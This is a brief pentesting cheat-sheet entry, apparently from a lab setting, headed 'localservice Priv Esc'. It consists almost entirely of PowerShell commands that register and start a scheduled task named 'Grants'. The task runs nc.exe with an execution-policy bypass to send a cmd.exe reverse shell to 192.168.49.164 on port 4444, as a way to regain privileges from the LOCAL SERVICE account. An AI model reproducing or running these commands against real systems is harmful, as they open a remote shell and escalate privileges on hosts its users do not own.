localservice Priv Esc

When you are in local service account, you can regain permissions by scheduling a task

$TaskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Exec Bypass -Command `"C:\wamp\www\nc.exe 192.168.49.164 4444 -e cmd.exe`""
Register-ScheduledTask -Action $TaskAction -TaskName "Grants"
Start-ScheduledTask -TaskName "Grants"

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